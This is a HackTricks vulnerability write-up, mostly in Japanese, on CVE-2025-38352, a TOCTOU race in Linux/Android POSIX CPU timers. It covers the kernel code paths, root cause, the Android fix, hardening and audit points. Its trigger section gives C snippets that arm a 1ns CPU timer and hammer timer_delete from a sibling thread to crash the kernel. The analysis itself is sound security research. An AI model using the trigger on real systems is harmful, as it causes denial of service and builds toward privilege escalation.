POSIX CPU Timers TOCTOU race (CVE-2025-38352)

Reading time: 11 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

このページは、Linux/Android の POSIX CPU timers における TOCTOU レース条件について document しています。これによりタイマーの状態が破損してカーネルがクラッシュする可能性があり、特定の状況では privilege escalation に向けて制御されることがあります。

  • 影響を受けるコンポーネント: kernel/time/posix-cpu-timers.c
  • Primitive: タスク終了時の expiry vs deletion race
  • 構成依存: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

簡単な内部の要点(exploitation に関連)

  • Three CPU clocks drive accounting for timers via cpu_clock_sample():
  • CPUCLOCK_PROF: utime + stime
  • CPUCLOCK_VIRT: utime only
  • CPUCLOCK_SCHED: task_sched_runtime()
  • Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:
c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
  • アーム操作は per-base timerqueue に挿入され、next-expiry cache を更新することがある:
c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
  • 高速パスは、キャッシュされた有効期限が発火する可能性を示さない限り、高コストな処理を回避する:
c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
  • Expirationは期限切れのタイマーを収集し、それらを発火状態にマークしてキューから移動させる。実際の配信は遅延される:
c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1;                           // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}

2つの満了処理モード

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: タイマの満了処理は対象タスク上で task_work を介して遅延される
  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: タイマの満了処理は IRQ コンテキストで直接処理される
c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk);                  // IRQ-context path
lockdep_posixtimer_exit();
}
#endif

IRQ-context パスでは、firing list は sighand の外で処理されます。

c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags);              // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing;         // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}

Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit 前提条件

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK が無効(IRQ パスが使用される)
  • 対象タスクが終了中だが完全には reaped されていない
  • 別スレッドが同じタイマーに対して concurrently に posix_cpu_timer_del() を呼ぶ

シーケンス

  1. update_process_times() が IRQ コンテキストで終了中のタスクに対して run_posix_cpu_timers() をトリガーする。
  2. collect_timerqueue() が ctmr->firing = 1 を設定し、タイマーを一時的な firing リストに移動する。
  3. handle_posix_cpu_timers() がタイマーをロック外で配信するために unlock_task_sighand() で sighand を解放する。
  4. unlock の直後に、終了中のタスクが reaped され得る;兄弟スレッドが posix_cpu_timer_del() を実行する。
  5. このウィンドウ内で、posix_cpu_timer_del() は cpu_timer_task_rcu()/lock_task_sighand() を取得できず、timer->it.cpu.firing を確認する通常の in-flight ガードをスキップする可能性がある。削除は firing でないかのように進み、expiry を処理している最中に状態を破壊し、クラッシュや未定義動作を引き起こす。

なぜ TASK_WORK モードは設計上安全か

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y の場合、expiry は task_work に遅延される;exit_task_work は exit_notify より前に実行されるため、IRQ 時の reaping と重なることがない。
  • さらに、タスクがすでに終了中であれば task_work_add() は失敗する;exit_state によるゲーティングにより両モードは一貫する。

Fix (Android common kernel) と根拠

  • current task が終了中であれば早期にリターンして、すべての処理をガードする:
c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
  • これは終了中のタスクに対して handle_posix_cpu_timers() に入ることを防ぎ、posix_cpu_timer_del() が it.cpu.firing を見逃して期限切れ処理と競合する可能性のあるタイミング窓を排除します。

Impact

  • タイマ構造体が同時に expiry/削除されることで生じるカーネルメモリの破損は、即時のクラッシュ(DoS)を引き起こす可能性があり、任意のカーネル状態操作の機会を通じて privilege escalation への強力なプリミティブとなります。

Triggering the bug (safe, reproducible conditions) Build/config

  • CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n を確実に設定し、exit_state gating fix を含まないカーネルを使用します。

Runtime strategy

  • 終了しようとしているスレッドを狙い、そこに CPU timer をアタッチします(スレッド単位またはプロセス全体のクロック):
  • スレッド単位の場合: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
  • プロセス全体の場合: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
  • ごく短い初回期限と短い間隔でアームして、IRQ-path のエントリを最大化します:
c
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1;           // fire ASAP
its.it_interval.tv_nsec = 1;        // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
  • 兄弟スレッドから、対象スレッドが終了する間に同じタイマーを並行して削除する:
c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t);     // hammer delete in a loop
}
  • レース増幅要因: 高いスケジューラのタイクリート、CPU負荷、スレッドの繰り返し終了/再作成サイクル。クラッシュは典型的に、unlock_task_sighand() 直後にタスクの lookup/locking が失敗して posix_cpu_timer_del() が firing の検知をスキップしたときに発生する。

検出とハードニング

  • 緩和策: exit_state ガードを適用する。可能であれば CONFIG_POSIX_CPU_TIMERS_TASK_WORK を有効にすることを推奨。
  • 可観測性: unlock_task_sighand()/posix_cpu_timer_del() 周辺に tracepoints/WARN_ONCE を追加する;it.cpu.firing==1 が cpu_timer_task_rcu()/lock_task_sighand() の失敗と同時に観測されたらアラートを上げる;タスク終了時の timerqueue の不整合を監視する。

監査の注目箇所(レビュー担当者向け)

  • update_process_times() → run_posix_cpu_timers() (IRQ)
  • __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
  • collect_timerqueue(): sets ctmr->firing and moves nodes
  • handle_posix_cpu_timers(): drops sighand before firing loop
  • posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap

exploitation リサーチ向け注意

  • 公開された挙動は信頼できるカーネルのクラッシュプリミティブである;これを privilege escalation に変えるには通常、ここでの要約の範囲を超えた追加の controllable overlap(object lifetime や write-what-where の影響など)が必要になる。いかなる PoC もシステムを不安定化させる可能性があるため、emulators/VMs でのみ実行すること。

関連

Ksmbd Streams Xattr Oob Write Cve 2025 37947

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする